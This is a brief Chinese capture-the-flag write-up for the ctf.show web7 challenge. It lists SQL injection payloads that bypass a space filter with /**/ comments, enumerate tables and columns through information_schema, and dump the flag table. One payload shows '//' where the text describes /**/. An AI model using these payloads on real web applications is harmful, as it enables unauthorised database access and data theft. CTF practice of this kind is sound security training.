ROSE笔记-ctf.show_web7-WP

ctf.show_web7

使用盲注
payload: /?id=1’ or 1=1#

发现过滤了空格所以报错
用//替换空格
payload: /?id=1’//or/**/1=1#
此时页面正常显示
接下来就是查库、查表、查字段

查到显示位置
?id=1%27/**/or/**/1=1/**/union/**/select/**/1,2,3#
查表
?id=1%27/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
查字段
?id=1%27/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
查数据记录flag
?id=1%27/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#